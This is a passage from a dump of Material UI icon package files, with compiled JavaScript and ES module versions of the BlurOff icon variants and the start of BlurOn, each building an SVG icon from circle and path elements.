    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"6\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.8 11.48.2.02c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5l.02.2c.09.67.61 1.19 1.28 1.28M14 3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-4 0c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"10\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"6\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"14\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"18\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 20.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7-7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-18 0c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"8\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"18\",\n  r: \"1\"\n}, \"9\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 11c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"10\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"14\",\n  r: \"1\"\n}, \"11\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 5.27 6 8.77l.28.28L6 9c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l2.81 2.81c-.71.11-1.25.73-1.25 1.47 0 .83.67 1.5 1.5 1.5.74 0 1.36-.54 1.47-1.25l2.81 2.81c-.09-.03-.18-.06-.28-.06-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l3.78 3.78h.01l1.41-1.41L3.91 3.86z\"\n}, \"12\")], 'BlurOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"6\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.8 11.48.2.02c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5l.02.2c.09.67.61 1.19 1.28 1.28M14 3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-4 0c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"10\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"6\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"14\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"18\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 20.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7-7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-18 0c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"8\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"18\",\n  r: \"1\"\n}, \"9\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 11c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"10\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"14\",\n  r: \"1\"\n}, \"11\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 5.27 6 8.77l.28.28L6 9c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l2.81 2.81c-.71.11-1.25.73-1.25 1.47 0 .83.67 1.5 1.5 1.5.74 0 1.36-.54 1.47-1.25l2.81 2.81c-.09-.03-.18-.06-.28-.06-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l3.78 3.78h.01l1.41-1.41L3.91 3.86z\"\n}, \"12\")], 'BlurOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"6\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.8 11.48.2.02c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5l.02.2c.09.67.61 1.19 1.28 1.28M14 3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-4 0c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"10\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"6\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"14\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"18\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 20.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7-7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-18 0c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"8\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"18\",\n  r: \"1\"\n}, \"9\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 11c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"10\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"14\",\n  r: \"1\"\n}, \"11\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.21 4.56c-.39.39-.39 1.02 0 1.41l3.07 3.07L6 9c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l2.81 2.81c-.71.11-1.25.73-1.25 1.47 0 .83.67 1.5 1.5 1.5.74 0 1.36-.54 1.47-1.25l2.81 2.81c-.09-.03-.18-.06-.28-.06-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l3.08 3.07c.39.39 1.02.39 1.41 0s.39-1.02 0-1.42L4.62 4.56a.996.996 0 0 0-1.41 0\"\n}, \"12\")], 'BlurOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"6\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.8 11.48.2.02c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5l.02.2c.09.67.61 1.19 1.28 1.28M14 3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-4 0c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"10\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"6\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"14\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"18\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 20.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7-7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-18 0c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"8\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"18\",\n  r: \"1\"\n}, \"9\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 11c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"10\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"14\",\n  r: \"1\"\n}, \"11\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.21 4.56c-.39.39-.39 1.02 0 1.41l3.07 3.07L6 9c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l2.81 2.81c-.71.11-1.25.73-1.25 1.47 0 .83.67 1.5 1.5 1.5.74 0 1.36-.54 1.47-1.25l2.81 2.81c-.09-.03-.18-.06-.28-.06-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l3.08 3.07c.39.39 1.02.39 1.41 0s.39-1.02 0-1.42L4.62 4.56a.996.996 0 0 0-1.41 0\"\n}, \"12\")], 'BlurOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"6\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.8 11.48.2.02c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5l.02.2c.09.67.61 1.19 1.28 1.28M14 3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-4 0c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"10\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"6\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"14\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"18\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 20.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7-7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-18 0c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"8\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"18\",\n  r: \"1\"\n}, \"9\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 11c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"10\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"14\",\n  r: \"1\"\n}, \"11\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 5.27 6 8.77l.28.28L6 9c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l2.81 2.81c-.71.11-1.25.73-1.25 1.47 0 .83.67 1.5 1.5 1.5.74 0 1.36-.54 1.47-1.25l2.81 2.81c-.09-.03-.18-.06-.28-.06-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l3.78 3.78h.01l1.41-1.41L3.91 3.86z\"\n}, \"12\")], 'BlurOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"6\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.8 11.48.2.02c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5l.02.2c.09.67.61 1.19 1.28 1.28M14 3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-4 0c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"10\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"6\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"14\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"18\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 20.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7-7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-18 0c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"8\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"18\",\n  r: \"1\"\n}, \"9\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 11c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"10\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"14\",\n  r: \"1\"\n}, \"11\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 5.27 6 8.77l.28.28L6 9c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l2.81 2.81c-.71.11-1.25.73-1.25 1.47 0 .83.67 1.5 1.5 1.5.74 0 1.36-.54 1.47-1.25l2.81 2.81c-.09-.03-.18-.06-.28-.06-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l3.78 3.78h.01l1.41-1.41L3.91 3.86z\"\n}, \"12\")], 'BlurOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"6\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.8 11.48.2.02c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5l.02.2c.09.67.61 1.19 1.28 1.28M14 3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-4 0c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"10\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"6\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"14\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"18\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 20.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7-7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-18 0c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"8\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"18\",\n  r: \"1\"\n}, \"9\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 11c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"10\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"14\",\n  r: \"1\"\n}, \"11\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 5.27 6 8.77l.28.28L6 9c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l2.81 2.81c-.71.11-1.25.73-1.25 1.47 0 .83.67 1.5 1.5 1.5.74 0 1.36-.54 1.47-1.25l2.81 2.81c-.09-.03-.18-.06-.28-.06-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l3.78 3.78h.01l1.41-1.41L3.91 3.86z\"\n}, \"12\")], 'BlurOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"6\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.8 11.48.2.02c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5l.02.2c.09.67.61 1.19 1.28 1.28M14 3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-4 0c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"10\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"6\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"14\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"18\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 20.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7-7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-18 0c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"8\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"18\",\n  r: \"1\"\n}, \"9\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 11c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"10\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"14\",\n  r: \"1\"\n}, \"11\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 5.27 6 8.77l.28.28L6 9c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l2.81 2.81c-.71.11-1.25.73-1.25 1.47 0 .83.67 1.5 1.5 1.5.74 0 1.36-.54 1.47-1.25l2.81 2.81c-.09-.03-.18-.06-.28-.06-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l3.78 3.78h.01l1.41-1.41L3.91 3.86z\"\n}, \"12\")], 'BlurOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 